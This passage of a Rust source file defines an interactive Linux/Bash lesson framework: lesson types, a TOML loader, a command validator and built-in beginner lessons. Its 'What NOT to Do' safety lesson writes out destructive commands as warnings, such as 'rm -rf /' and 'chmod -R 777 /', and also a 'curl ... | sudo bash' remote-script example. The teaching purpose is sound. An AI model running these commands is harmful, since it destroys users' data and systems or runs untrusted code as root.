Skip to main content

arct_core/
lesson.rs

1//! Interactive lesson system for teaching Linux/Bash concepts
2//!
3//! This module provides a comprehensive framework for creating, validating,
4//! and tracking progress through interactive lessons.
5
6use serde::{Deserialize, Serialize};
7use std::collections::HashMap;
8
9/// A complete lesson module (e.g., "Navigation Basics")
10///
11/// # TOML lesson-pack format
12///
13/// Lessons can be authored as `*.toml` files (loaded from
14/// `~/.config/arct/lessons/` via [`LessonLibrary::load_from_dir`]). The
15/// top-level fields map 1:1 onto this struct:
16///
17/// ```toml
18/// id = "my-lesson"
19/// title = "My Lesson"
20/// description = "What this lesson teaches."
21/// difficulty = "Beginner"          # Beginner | Intermediate | Advanced | Expert
22/// estimated_minutes = 10
23/// prerequisites = ["nav-basics"]   # lesson ids to complete first
24/// tags = ["beginner", "files"]
25///
26/// # Optional starter files, materialized into the practice environment
27/// # before the lesson starts (omit entirely if the lesson needs none).
28/// # In simulated mode they are seeded into the virtual sandbox filesystem;
29/// # in real practice mode they are written under
30/// # ~/ArcAcademy/playground/<lesson-id>/ and the session cd's there.
31/// # `path` is relative to the lesson's practice directory (subdirectories
32/// # are created as needed; absolute paths and `..` are rejected).
33/// [[setup]]
34/// path = "notes.txt"
35/// contents = "starter content\n"
36///
37/// [[setup]]
38/// path = "logs/server.log"
39/// contents = "line 1\nline 2\n"
40///
41/// [[steps]]
42/// step_number = 1
43/// title = "First step"
44/// instruction = "Type the command..."
45/// hint = "Try 'pwd'"
46///
47/// [steps.step_type.CommandExercise]
48/// expected_command = "pwd"
49/// validation = "CommandOnly"
50/// success_message = "Nice!"
51/// ```
52#[derive(Debug, Clone, Serialize, Deserialize)]
53pub struct Lesson {
54    pub id: String,
55    pub title: String,
56    pub description: String,
57    pub difficulty: Difficulty,
58    pub estimated_minutes: u32,
59    pub steps: Vec<LessonStep>,
60    pub prerequisites: Vec<String>, // IDs of lessons that should be completed first
61    pub tags: Vec<String>,          // e.g., ["beginner", "navigation", "essential"]
62    /// Optional starter files for the lesson's practice environment.
63    ///
64    /// Defaults to empty, so existing lesson-pack TOML files without a
65    /// `setup` array keep parsing unchanged.
66    #[serde(default)]
67    pub setup: Vec<SetupFile>,
68}
69
70/// A starter file materialized into a lesson's practice environment.
71///
72/// In TOML lesson packs this is an entry in the `[[setup]]` array with a
73/// relative `path` and the literal file `contents`.
74#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
75pub struct SetupFile {
76    /// Path relative to the lesson's practice directory (no `..`, not absolute).
77    pub path: String,
78    /// Full file contents to write.
79    pub contents: String,
80}
81
82impl Lesson {
83    /// Serialize this lesson to a TOML document (the on-disk lesson format).
84    pub fn to_toml(&self) -> anyhow::Result<String> {
85        Ok(toml::to_string_pretty(self)?)
86    }
87
88    /// Parse a lesson from a TOML document.
89    pub fn from_toml(content: &str) -> anyhow::Result<Self> {
90        Ok(toml::from_str(content)?)
91    }
92}
93
94/// Difficulty level of a lesson
95#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
96pub enum Difficulty {
97    Beginner,
98    Intermediate,
99    Advanced,
100    Expert,
101}
102
103/// A single step within a lesson
104#[derive(Debug, Clone, Serialize, Deserialize)]
105pub struct LessonStep {
106    pub step_number: u32,
107    pub title: String,
108    pub instruction: String,
109    pub hint: Option<String>,
110    pub step_type: StepType,
111}
112
113/// Type of lesson step
114#[derive(Debug, Clone, Serialize, Deserialize)]
115pub enum StepType {
116    /// User must execute a specific command
117    CommandExercise {
118        expected_command: String,
119        validation: CommandValidation,
120        success_message: String,
121    },
122    /// Multiple choice question
123    MultipleChoice {
124        question: String,
125        options: Vec<String>,
126        correct_index: usize,
127        explanation: String,
128    },
129    /// Fill in the blank in a command
130    FillInBlank {
131        template: String,       // e.g., "ls {flags} /home"
132        correct_answers: Vec<String>, // e.g., ["-la", "-l -a"]
133        explanation: String,
134    },
135    /// Information/explanation only (no validation)
136    Information {
137        content: String,
138    },
139    /// Free-form practice with validation
140    Practice {
141        goal: String,
142        validation: PracticeValidation,
143        hints: Vec<String>,
144    },
145}
146
147/// How to validate a command exercise
148#[derive(Debug, Clone, Serialize, Deserialize)]
149pub enum CommandValidation {
150    /// Exact command match (ignoring whitespace)
151    Exact,
152    /// Command and flags must match (args can vary)
153    CommandAndFlags,
154    /// Just the base command must match
155    CommandOnly,
156    /// Custom validation with regex
157    Regex(String),
158    /// Multiple acceptable commands
159    AnyOf(Vec<String>),
160}
161
162/// Validation for practice exercises
163#[derive(Debug, Clone, Serialize, Deserialize)]
164pub enum PracticeValidation {
165    /// File exists at path
166    FileExists(String),
167    /// Directory exists at path
168    DirectoryExists(String),
169    /// File contains specific content
170    FileContains { path: String, content: String },
171    /// Command output matches pattern
172    OutputMatches { command: String, pattern: String },
173    /// Custom validator (description only, actual validation in engine)
174    Custom(String),
175}
176
177/// Progress tracking for a user through lessons
178#[derive(Debug, Clone, Serialize, Deserialize)]
179pub struct LessonProgress {
180    pub lesson_id: String,
181    pub current_step: u32,
182    pub completed_steps: Vec<u32>,
183    pub started_at: chrono::DateTime<chrono::Utc>,
184    pub completed_at: Option<chrono::DateTime<chrono::Utc>>,
185    pub attempts: HashMap<u32, u32>, // step_number -> attempt_count
186}
187
188impl LessonProgress {
189    pub fn new(lesson_id: String) -> Self {
190        Self {
191            lesson_id,
192            current_step: 1,
193            completed_steps: Vec::new(),
194            started_at: chrono::Utc::now(),
195            completed_at: None,
196            attempts: HashMap::new(),
197        }
198    }
199
200    pub fn is_completed(&self) -> bool {
201        self.completed_at.is_some()
202    }
203
204    pub fn completion_percentage(&self, total_steps: u32) -> f32 {
205        if total_steps == 0 {
206            return 0.0;
207        }
208        (self.completed_steps.len() as f32 / total_steps as f32) * 100.0
209    }
210
211    pub fn record_attempt(&mut self, step_number: u32) {
212        *self.attempts.entry(step_number).or_insert(0) += 1;
213    }
214
215    pub fn complete_step(&mut self, step_number: u32) {
216        if !self.completed_steps.contains(&step_number) {
217            self.completed_steps.push(step_number);
218            self.completed_steps.sort();
219        }
220    }
221
222    pub fn complete_lesson(&mut self) {
223        self.completed_at = Some(chrono::Utc::now());
224    }
225}
226
227/// Lesson library that stores all available lessons
228#[derive(Debug, Clone)]
229pub struct LessonLibrary {
230    lessons: HashMap<String, Lesson>,
231}
232
233impl LessonLibrary {
234    pub fn new() -> Self {
235        let mut library = Self {
236            lessons: HashMap::new(),
237        };
238        library.load_default_lessons();
239        library
240    }
241
242    /// Register a lesson in the library
243    pub fn register(&mut self, lesson: Lesson) {
244        self.lessons.insert(lesson.id.clone(), lesson);
245    }
246
247    /// Get a lesson by ID
248    pub fn get(&self, id: &str) -> Option<&Lesson> {
249        self.lessons.get(id)
250    }
251
252    /// Get all lessons
253    pub fn all(&self) -> Vec<&Lesson> {
254        self.lessons.values().collect()
255    }
256
257    /// Get lessons by difficulty
258    pub fn by_difficulty(&self, difficulty: Difficulty) -> Vec<&Lesson> {
259        self.lessons
260            .values()
261            .filter(|l| l.difficulty == difficulty)
262            .collect()
263    }
264
265    /// Get lessons by tag
266    pub fn by_tag(&self, tag: &str) -> Vec<&Lesson> {
267        self.lessons
268            .values()
269            .filter(|l| l.tags.iter().any(|t| t == tag))
270            .collect()
271    }
272
273    /// Count lessons per difficulty level (used for achievement unlock checks)
274    pub fn difficulty_counts(&self) -> HashMap<Difficulty, usize> {
275        let mut counts = HashMap::new();
276        for lesson in self.lessons.values() {
277            *counts.entry(lesson.difficulty).or_insert(0) += 1;
278        }
279        counts
280    }
281
282    /// Load user-provided `*.toml` lesson files from a directory and merge
283    /// them with the built-in lessons. User lessons override built-ins with
284    /// the same id. Returns the number of lessons loaded.
285    ///
286    /// A missing directory is not an error (returns 0); an unreadable or
287    /// unparsable lesson file is.
288    pub fn load_from_dir(&mut self, path: &std::path::Path) -> anyhow::Result<usize> {
289        use anyhow::Context;
290
291        if !path.is_dir() {
292            return Ok(0);
293        }
294
295        let mut loaded = 0;
296        for entry in std::fs::read_dir(path)
297            .with_context(|| format!("Failed to read lesson directory: {}", path.display()))?
298        {
299            let entry = entry?;
300            let file_path = entry.path();
301            if file_path.extension().and_then(|e| e.to_str()) != Some("toml") {
302                continue;
303            }
304
305            let content = std::fs::read_to_string(&file_path)
306                .with_context(|| format!("Failed to read lesson file: {}", file_path.display()))?;
307            let lesson = Lesson::from_toml(&content)
308                .with_context(|| format!("Failed to parse lesson file: {}", file_path.display()))?;
309
310            self.register(lesson);
311            loaded += 1;
312        }
313
314        Ok(loaded)
315    }
316
317    /// Load default lessons (initial set)
318    fn load_default_lessons(&mut self) {
319        self.register(create_navigation_basics_lesson());
320        self.register(create_file_management_lesson());
321        self.register(create_safety_lesson());
322        self.register(create_file_viewing_lesson());
323        self.register(create_permissions_lesson());
324        self.register(create_process_management_lesson());
325        self.register(create_text_processing_lesson());
326        self.register(create_package_management_lesson());
327        self.register(create_network_basics_lesson());
328        self.register(create_git_fundamentals_lesson());
329    }
330}
331
332impl Default for LessonLibrary {
333    fn default() -> Self {
334        Self::new()
335    }
336}
337
338/// Lesson validation engine
339pub struct LessonValidator {
340    // For now, just basic validation
341    // Will expand with actual command execution and output checking
342}
343
344impl LessonValidator {
345    pub fn new() -> Self {
346        Self {}
347    }
348
349    /// Validate a command exercise
350    pub fn validate_command(
351        &self,
352        user_input: &str,
353        expected: &str,
354        validation: &CommandValidation,
355    ) -> ValidationResult {
356        match validation {
357            CommandValidation::Exact => {
358                let normalized_input = user_input.trim().split_whitespace().collect::<Vec<_>>().join(" ");
359                let normalized_expected = expected.trim().split_whitespace().collect::<Vec<_>>().join(" ");
360
361                if normalized_input == normalized_expected {
362                    ValidationResult::Success {
363                        message: "Perfect! That's exactly right.".to_string(),
364                    }
365                } else {
366                    ValidationResult::Failure {
367                        message: format!("Not quite. Expected: {}", expected),
368                        hint: Some("Check the command and flags carefully.".to_string()),
369                    }
370                }
371            }
372            CommandValidation::CommandOnly => {
373                let user_cmd = user_input.trim().split_whitespace().next().unwrap_or("");
374                let expected_cmd = expected.trim().split_whitespace().next().unwrap_or("");
375
376                if user_cmd == expected_cmd {
377                    ValidationResult::Success {
378                        message: "Correct command!".to_string(),
379                    }
380                } else {
381                    ValidationResult::Failure {
382                        message: format!("Wrong command. Expected: {}", expected_cmd),
383                        hint: None,
384                    }
385                }
386            }
387            CommandValidation::AnyOf(commands) => {
388                let normalized_input = user_input.trim().split_whitespace().collect::<Vec<_>>().join(" ");
389
390                for cmd in commands {
391                    let normalized_cmd = cmd.trim().split_whitespace().collect::<Vec<_>>().join(" ");
392                    if normalized_input == normalized_cmd {
393                        return ValidationResult::Success {
394                            message: "Correct!".to_string(),
395                        };
396                    }
397                }
398
399                ValidationResult::Failure {
400                    message: "Not quite. Try one of the expected commands.".to_string(),
401                    hint: Some(format!("Expected one of: {}", commands.join(" OR "))),
402                }
403            }
404            CommandValidation::CommandAndFlags => {
405                let (user_cmd, user_flags, user_args) = Self::split_command(user_input);
406                let (expected_cmd, expected_flags, expected_args) = Self::split_command(expected);
407
408                if user_cmd.is_empty() {
409                    return ValidationResult::Failure {
410                        message: "No command entered.".to_string(),
411                        hint: Some(format!("Try: {}", expected)),
412                    };
413                }
414
415                if user_cmd != expected_cmd {
416                    return ValidationResult::Failure {
417                        message: format!("Wrong command. Expected: {}", expected_cmd),
418                        hint: Some("Check which program you're running.".to_string()),
419                    };
420                }
421
422                if user_flags != expected_flags {
423                    let expected_list: Vec<String> = expected_flags.iter().cloned().collect();
424                    return ValidationResult::Failure {
425                        message: "The flags don't match.".to_string(),
426                        hint: Some(if expected_list.is_empty() {
427                            "This command doesn't need any flags.".to_string()
428                        } else {
429                            format!("Expected flags: {}", expected_list.join(" "))
430                        }),
431                    };
432                }
433
434                if user_args != expected_args {
435                    return ValidationResult::Failure {
436                        message: "The arguments don't match.".to_string(),
437                        hint: Some(format!("Expected: {}", expected)),
438                    };
439                }
440
441                ValidationResult::Success {
442                    message: "Correct command, flags, and arguments!".to_string(),
443                }
444            }
445            CommandValidation::Regex(pattern) => match regex::Regex::new(pattern) {
446                Ok(re) => {
447                    if re.is_match(user_input.trim()) {
448                        ValidationResult::Success {
449                            message: "Correct!".to_string(),
450                        }
451                    } else {
452                        ValidationResult::Failure {
453                            message: "That command doesn't match what's expected.".to_string(),
454                            hint: None,
455                        }
456                    }
457                }
458                Err(e) => ValidationResult::Failure {
459                    message: format!("Invalid validation pattern in lesson data: {}", e),
460                    hint: None,
461                },
462            },
463        }
464    }
465
466    /// Split a command line into (program, flag set, positional args).
467    ///
468    /// Combined short flags are expanded so `-la`, `-al`, and `-l -a` all
469    /// produce the flag set {"-l", "-a"}. Long flags (`--foo`) are kept whole.
470    /// Flag comparison is order-insensitive; positional args keep their order.
471    fn split_command(input: &str) -> (String, std::collections::BTreeSet<String>, Vec<String>) {
472        let tokens = shellwords::split(input.trim())
473            .unwrap_or_else(|_| input.split_whitespace().map(String::from).collect());
474
475        let mut iter = tokens.into_iter();
476        let program = iter.next().unwrap_or_default();
477
478        let mut flags = std::collections::BTreeSet::new();
479        let mut args = Vec::new();
480
481        for token in iter {
482            if token.starts_with("--") && token.len() > 2 {
483                flags.insert(token);
484            } else if token.starts_with('-') && token.len() > 1 {
485                // Expand combined short flags: -la -> -l, -a
486                for ch in token.chars().skip(1) {
487                    flags.insert(format!("-{}", ch));
488                }
489            } else {
490                args.push(token);
491            }
492        }
493
494        (program, flags, args)
495    }
496
497    /// Validate a multiple choice answer
498    pub fn validate_multiple_choice(&self, user_choice: usize, correct: usize) -> ValidationResult {
499        if user_choice == correct {
500            ValidationResult::Success {
501                message: "Correct!".to_string(),
502            }
503        } else {
504            ValidationResult::Failure {
505                message: "Not quite. Try again!".to_string(),
506                hint: None,
507            }
508        }
509    }
510}
511
512impl Default for LessonValidator {
513    fn default() -> Self {
514        Self::new()
515    }
516}
517
518/// Result of validating user input for a lesson step
519#[derive(Debug, Clone)]
520pub enum ValidationResult {
521    Success { message: String },
522    Failure { message: String, hint: Option<String> },
523    Partial { message: String, progress: f32 },
524}
525
526impl ValidationResult {
527    pub fn is_success(&self) -> bool {
528        matches!(self, ValidationResult::Success { .. })
529    }
530}
531
532// ============================================================================
533// Default Lesson Definitions
534// ============================================================================
535
536/// Create the "Navigation Basics" lesson
537fn create_navigation_basics_lesson() -> Lesson {
538    Lesson {
539        id: "nav-basics".to_string(),
540        title: "Navigation Basics".to_string(),
541        description: "Learn how to navigate the Linux filesystem using essential commands like ls, cd, pwd, and tree.".to_string(),
542        difficulty: Difficulty::Beginner,
543        estimated_minutes: 10,
544        prerequisites: vec![],
545        tags: vec!["beginner".to_string(), "navigation".to_string(), "essential".to_string()],
546        setup: vec![
547            SetupFile {
548                path: "README.txt".to_string(),
549                contents: "Welcome to your practice space!\n\nUse pwd, ls, and cd to look around. There's a 'docs' folder to explore.\n".to_string(),
550            },
551            SetupFile {
552                path: "docs/getting-started.txt".to_string(),
553                contents: "You found the docs folder — nice navigating!\nTry 'cd ..' to go back up.\n".to_string(),
554            },
555        ],
556        steps: vec![
557            LessonStep {
558                step_number: 1,
559                title: "Understanding Your Current Location".to_string(),
560                instruction: "Every time you open a terminal, you're in a specific directory. Let's find out where you are. Type the command to print your current working directory.".to_string(),
561                hint: Some("The command is 'pwd' (print working directory)".to_string()),
562                step_type: StepType::CommandExercise {
563                    expected_command: "pwd".to_string(),
564                    validation: CommandValidation::CommandOnly,
565                    success_message: "Perfect! 'pwd' shows your current directory. This is your starting point.".to_string(),
566                },
567            },
568            LessonStep {
569                step_number: 2,
570                title: "Listing Files and Directories".to_string(),
571                instruction: "Now let's see what's in your current directory. Use the command to list all files and directories.".to_string(),
572                hint: Some("The command is 'ls' (list)".to_string()),
573                step_type: StepType::CommandExercise {
574                    expected_command: "ls".to_string(),
575                    validation: CommandValidation::CommandOnly,
576                    success_message: "Great! 'ls' shows you what's in the current directory.".to_string(),
577                },
578            },
579            LessonStep {
580                step_number: 3,
581                title: "Detailed File Listings".to_string(),
582                instruction: "Let's get more information about the files. Use 'ls' with flags to show a long, detailed listing with human-readable file sizes.".to_string(),
583                hint: Some("Try 'ls -lh' (long format + human-readable sizes)".to_string()),
584                step_type: StepType::CommandExercise {
585                    expected_command: "ls -lh".to_string(),
586                    validation: CommandValidation::AnyOf(vec![
587                        "ls -lh".to_string(),
588                        "ls -hl".to_string(),
589                        "ls -l -h".to_string(),
590                        "ls -h -l".to_string(),
591                    ]),
592                    success_message: "Excellent! The -l flag shows details like permissions, owner, size, and date. The -h flag makes sizes human-readable (KB, MB, GB).".to_string(),
593                },
594            },
595            LessonStep {
596                step_number: 4,
597                title: "Understanding Hidden Files".to_string(),
598                instruction: "Many configuration files are hidden (they start with a dot). Let's see ALL files, including hidden ones.".to_string(),
599                hint: Some("Use the -a flag with ls".to_string()),
600                step_type: StepType::CommandExercise {
601                    expected_command: "ls -a".to_string(),
602                    validation: CommandValidation::CommandOnly,
603                    success_message: "Perfect! Files starting with '.' are hidden. You'll see '.bashrc', '.profile', etc. - these are configuration files.".to_string(),
604                },
605            },
606            LessonStep {
607                step_number: 5,
608                title: "Changing Directories".to_string(),
609                instruction: "Let's move to your home directory. Use the change directory command with the ~ symbol (tilde represents your home).".to_string(),
610                hint: Some("Type 'cd ~' or just 'cd'".to_string()),
611                step_type: StepType::CommandExercise {
612                    expected_command: "cd".to_string(),
613                    validation: CommandValidation::AnyOf(vec![
614                        "cd".to_string(),
615                        "cd ~".to_string(),
616                        "cd $HOME".to_string(),
617                    ]),
618                    success_message: "Great! 'cd' without arguments always takes you home. The ~ symbol is a shortcut for your home directory.".to_string(),
619                },
620            },
621            LessonStep {
622                step_number: 6,
623                title: "Quiz: What does 'cd ..' do?".to_string(),
624                instruction: "".to_string(),
625                hint: None,
626                step_type: StepType::MultipleChoice {
627                    question: "What does the command 'cd ..' do?".to_string(),
628                    options: vec![
629                        "Goes to the home directory".to_string(),
630                        "Goes up one directory level (to the parent)".to_string(),
631                        "Lists files in the current directory".to_string(),
632                        "Creates a new directory".to_string(),
633                    ],
634                    correct_index: 1,
635                    explanation: "Correct! '..' is a special symbol that represents the parent directory. So 'cd ..' moves you up one level in the directory tree.".to_string(),
636                },
637            },
638            LessonStep {
639                step_number: 7,
640                title: "Pro Tip: cd -".to_string(),
641                instruction: "".to_string(),
642                hint: None,
643                step_type: StepType::Information {
644                    content: "Pro tip: 'cd -' is a super useful command! It takes you back to your previous directory. Try it:\n\n  cd /tmp\n  cd ~\n  cd -    # Takes you back to /tmp!\n\nThis is great for quickly switching between two directories you're working in.".to_string(),
645                },
646            },
647            LessonStep {
648                step_number: 8,
649                title: "Completion: Navigation Mastered!".to_string(),
650                instruction: "".to_string(),
651                hint: None,
652                step_type: StepType::Information {
653                    content: "Congratulations! 🎉 You've mastered basic navigation!\n\nKey commands you learned:\n  • pwd  - Print working directory\n  • ls   - List files (use -l for details, -a for hidden, -h for human-readable)\n  • cd   - Change directory\n  • cd ~ - Go home\n  • cd .. - Go up one level\n  • cd -  - Toggle to previous directory\n\nThese are the foundation of navigating Linux. Practice them often!".to_string(),
654                },
655            },
656        ],
657    }
658}
659
660/// Create the "File Management" lesson
661fn create_file_management_lesson() -> Lesson {
662    Lesson {
663        id: "file-mgmt".to_string(),
664        title: "File Management Basics".to_string(),
665        description: "Learn to create, copy, move, and delete files and directories safely.".to_string(),
666        difficulty: Difficulty::Beginner,
667        estimated_minutes: 15,
668        prerequisites: vec!["nav-basics".to_string()],
669        tags: vec!["beginner".to_string(), "files".to_string(), "essential".to_string()],
670        setup: vec![
671            SetupFile {
672                path: "README.txt".to_string(),
673                contents: "This is your file-management practice space.\n\nYou'll create a 'practice' directory here and work with files inside it.\nNothing outside this folder is ever touched.\n".to_string(),
674            },
675        ],
676        steps: vec![
677            LessonStep {
678                step_number: 1,
679                title: "Creating a Practice Directory".to_string(),
680                instruction: "Let's create a safe practice space. Create a directory called 'practice' in your current location.".to_string(),
681                hint: Some("Use 'mkdir practice'".to_string()),
682                step_type: StepType::CommandExercise {
683                    expected_command: "mkdir practice".to_string(),
684                    validation: CommandValidation::CommandOnly,
685                    success_message: "Great! 'mkdir' (make directory) creates a new folder. Now you have a safe space to practice.".to_string(),
686                },
687            },
688            LessonStep {
689                step_number: 2,
690                title: "Creating a File".to_string(),
691                instruction: "Navigate into your practice directory and create an empty file called 'test.txt'.".to_string(),
692                hint: Some("Use 'cd practice' then 'touch test.txt'".to_string()),
693                step_type: StepType::CommandExercise {
694                    expected_command: "touch test.txt".to_string(),
695                    validation: CommandValidation::CommandOnly,
696                    success_message: "Perfect! 'touch' creates an empty file or updates the timestamp of an existing one.".to_string(),
697                },
698            },
699            LessonStep {
700                step_number: 3,
701                title: "Copying Files".to_string(),
702                instruction: "Make a copy of test.txt called test-backup.txt.".to_string(),
703                hint: Some("Use 'cp test.txt test-backup.txt'".to_string()),
704                step_type: StepType::CommandExercise {
705                    expected_command: "cp test.txt test-backup.txt".to_string(),
706                    validation: CommandValidation::Exact,
707                    success_message: "Excellent! 'cp source destination' copies a file. Always make backups of important files before editing!".to_string(),
708                },
709            },
710            LessonStep {
711                step_number: 4,
712                title: "Moving/Renaming Files".to_string(),
713                instruction: "Rename test-backup.txt to backup.txt using the move command.".to_string(),
714                hint: Some("'mv' is used for both moving and renaming. Try 'mv test-backup.txt backup.txt'".to_string()),
715                step_type: StepType::CommandExercise {
716                    expected_command: "mv test-backup.txt backup.txt".to_string(),
717                    validation: CommandValidation::Exact,
718                    success_message: "Great! 'mv' moves OR renames files. When source and destination are in the same directory, it's renaming.".to_string(),
719                },
720            },
721            LessonStep {
722                step_number: 5,
723                title: "Safety Quiz".to_string(),
724                instruction: "".to_string(),
725                hint: None,
726                step_type: StepType::MultipleChoice {
727                    question: "Which flag should you ALWAYS use with 'rm' for safety?".to_string(),
728                    options: vec![
729                        "-f (force)".to_string(),
730                        "-i (interactive/confirm)".to_string(),
731                        "-r (recursive)".to_string(),
732                        "-v (verbose)".to_string(),
733                    ],
734                    correct_index: 1,
735                    explanation: "Correct! The -i flag makes rm ask for confirmation before deleting. NEVER use -f (force) unless you're absolutely sure. -r is for directories but should be used with -i for safety.".to_string(),
736                },
737            },
738            LessonStep {
739                step_number: 6,
740                title: "Safe Deletion".to_string(),
741                instruction: "Delete test.txt safely by using the interactive flag.".to_string(),
742                hint: Some("Use 'rm -i test.txt' and confirm when prompted".to_string()),
743                step_type: StepType::CommandExercise {
744                    expected_command: "rm -i test.txt".to_string(),
745                    validation: CommandValidation::Exact,
746                    success_message: "Perfect! Always use -i when deleting files. There is NO undo in Linux - deleted files are gone forever!".to_string(),
747                },
748            },
749            LessonStep {
750                step_number: 7,
751                title: "Completion: File Management Mastered!".to_string(),
752                instruction: "".to_string(),
753                hint: None,
754                step_type: StepType::Information {
755                    content: "Excellent work! 🎉 You've learned essential file management!\n\nKey commands:\n  • mkdir  - Create directories\n  • touch  - Create empty files\n  • cp     - Copy files\n  • mv     - Move or rename files\n  • rm -i  - Delete files (ALWAYS use -i for safety!)\n\nSafety rules:\n  ⚠️  Always use 'rm -i' not 'rm -f'\n  ⚠️  Make backups before editing important files\n  ⚠️  Be very careful with 'rm -r' (deletes directories)\n  ⚠️  NEVER run 'rm -rf /' (destroys your system!)\n\nNext: Learn text processing!".to_string(),
756                },
757            },
758        ],
759    }
760}
761
762/// Create the "What NOT to Do" safety lesson
763fn create_safety_lesson() -> Lesson {
764    Lesson {
765        id: "safety-essentials".to_string(),
766        title: "What NOT to Do - Safety Essentials".to_string(),
767        description: "Critical safety lessons to prevent data loss, system damage, and security vulnerabilities. Learn the dangerous commands and practices to avoid.".to_string(),
768        difficulty: Difficulty::Beginner,
769        estimated_minutes: 15,
770        prerequisites: vec![],
771        tags: vec!["beginner".to_string(), "safety".to_string(), "essential".to_string(), "security".to_string()],
772        setup: vec![],
773        steps: vec![
774            LessonStep {
775                step_number: 1,
776                title: "Welcome to Safety Training".to_string(),
777                instruction: "".to_string(),
778                hint: None,
779                step_type: StepType::Information {
780                    content: "⚠️  IMPORTANT: This lesson teaches you what NOT to do!\n\nThe command line is powerful - which means it can do a LOT of damage if misused. Unlike graphical interfaces with confirmation dialogs and trash bins, the terminal executes commands IMMEDIATELY and PERMANENTLY.\n\nIn this lesson, you'll learn:\n  • Dangerous commands that can destroy your system\n  • Common mistakes beginners make\n  • Security vulnerabilities to avoid\n  • Best practices for safe command line usage\n\nThis knowledge could save you from:\n  • Losing important files forever\n  • Breaking your operating system\n  • Creating security holes\n  • Hours of recovery work\n\nLet's get started! 🛡️".to_string(),
781                },
782            },
783            LessonStep {
784                step_number: 2,
785                title: "The Most Dangerous Command".to_string(),
786                instruction: "".to_string(),
787                hint: None,
788                step_type: StepType::MultipleChoice {
789                    question: "Which command is EXTREMELY dangerous and should NEVER be run?".to_string(),
790                    options: vec![
791                        "rm -i file.txt".to_string(),
792                        "rm -rf /".to_string(),
793                        "ls -la /".to_string(),
794                        "cd /tmp".to_string(),
795                    ],
796                    correct_index: 1,
797                    explanation: "CORRECT! 'rm -rf /' is catastrophic - it recursively force-deletes your ENTIRE system starting from the root! The -r means recursive (all files and folders), -f means force (no confirmations), and / is the root of your entire filesystem. This will destroy your operating system and all your data. Modern systems have protections, but NEVER try this. Even 'rm -rf /*' (with a star) can be devastating!".to_string(),
798                },
799            },
800            LessonStep {
801                step_number: 3,
802                title: "Understanding Force Flags".to_string(),
803                instruction: "".to_string(),
804                hint: None,
805                step_type: StepType::Information {
806                    content: "🚨 NEVER USE FORCE FLAGS UNLESS YOU'RE ABSOLUTELY CERTAIN!\n\nDangerous force flags to avoid:\n\n  • rm -f      - Deletes without asking (NO confirmation!)\n  • rm -rf     - Recursively force-deletes directories\n  • mv -f      - Overwrites files without warning\n  • cp -f      - Overwrites files without asking\n\nInstead, ALWAYS use interactive flags:\n\n  ✅ rm -i     - Asks before each deletion\n  ✅ rm -ri    - Safe recursive deletion with prompts\n  ✅ mv -i     - Asks before overwriting\n  ✅ cp -i     - Asks before overwriting\n\nRemember: Linux has NO recycle bin. Deleted = GONE FOREVER!\nThe -i flag is your safety net. Use it!".to_string(),
807                },
808            },
809            LessonStep {
810                step_number: 4,
811                title: "Permission Dangers".to_string(),
812                instruction: "".to_string(),
813                hint: None,
814                step_type: StepType::MultipleChoice {
815                    question: "You need to make a script executable. Which chmod command is safest?".to_string(),
816                    options: vec![
817                        "chmod 777 script.sh (everyone can read, write, execute)".to_string(),
818                        "chmod +x script.sh (add execute permission)".to_string(),
819                        "chmod -R 777 / (make everything writable)".to_string(),
820                        "chmod 000 script.sh (remove all permissions)".to_string(),
821                    ],
822                    correct_index: 1,
823                    explanation: "CORRECT! 'chmod +x script.sh' just adds execute permission safely. \n\n❌ NEVER use chmod 777! This gives EVERYONE (including attackers) full read, write, and execute access. It's a MASSIVE security hole!\n\n❌ NEVER use chmod -R 777 on system directories! This makes your entire system vulnerable.\n\nAlways use minimal permissions:\n  • 755 for directories and executables (owner can write, others can read/execute)\n  • 644 for regular files (owner can write, others can read)\n  • Use +x, +r, +w to add specific permissions instead of numbers".to_string(),
824                },
825            },
826            LessonStep {
827                step_number: 5,
828                title: "The Sudo Trap".to_string(),
829                instruction: "".to_string(),
830                hint: None,
831                step_type: StepType::Information {
832                    content: "🔐 SUDO GIVES YOU SUPERPOWERS - USE RESPONSIBLY!\n\nCommon sudo mistakes:\n\n❌ DON'T: Run random internet commands with sudo\n   Example: Don't blindly copy-paste 'sudo rm -rf /usr'\n\n❌ DON'T: Use sudo just because a command failed\n   Example: If 'npm install' fails, DON'T try 'sudo npm install'\n   (Fix permissions instead!)\n\n❌ DON'T: Pipe untrusted scripts to sudo bash\n   Example: curl http://example.com/script.sh | sudo bash\n   (This runs unknown code as admin!)\n\n✅ DO: Read and understand commands before using sudo\n✅ DO: Use sudo only when actually needed (system changes)\n✅ DO: Check who wrote the script you're running\n\nThink of sudo like giving someone the keys to your house - only do it when absolutely necessary and you trust the command!".to_string(),
833                },
834            },
835            LessonStep {
836                step_number: 6,
837                title: "Wildcard Disasters".to_string(),
838                instruction: "".to_string(),
839                hint: None,
840                step_type: StepType::MultipleChoice {
841                    question: "You're in your home directory and want to delete all .txt files. Which is SAFEST?".to_string(),
842                    options: vec![
843                        "rm *.txt (could be dangerous if you're in wrong directory!)".to_string(),
844                        "rm -rf *".to_string(),
845                        "First 'ls *.txt' to verify, then 'rm -i *.txt'".to_string(),
846                        "cd / && rm *.txt".to_string(),
847                    ],
848                    correct_index: 2,
849                    explanation: "CORRECT! Always verify with 'ls' FIRST, then use 'rm -i' for confirmation!\n\nWildcard disasters to avoid:\n\n❌ 'rm -rf *' - Deletes EVERYTHING in current directory!\n❌ 'rm -rf * .*' - Even worse, includes hidden files!\n❌ 'rm * .txt' - Space before .txt means delete everything AND .txt!\n\nSafety practices:\n  1️⃣  Always 'pwd' to confirm you're in the right directory\n  2️⃣  Always 'ls [pattern]' to see what matches BEFORE deleting\n  3️⃣  Always use 'rm -i' with wildcards\n  4️⃣  Be EXTRA careful with spaces in commands!".to_string(),
850                },
851            },
852            LessonStep {
853                step_number: 7,
854                title: "Pipe and Redirect Dangers".to_string(),
855                instruction: "".to_string(),
856                hint: None,
857                step_type: StepType::Information {
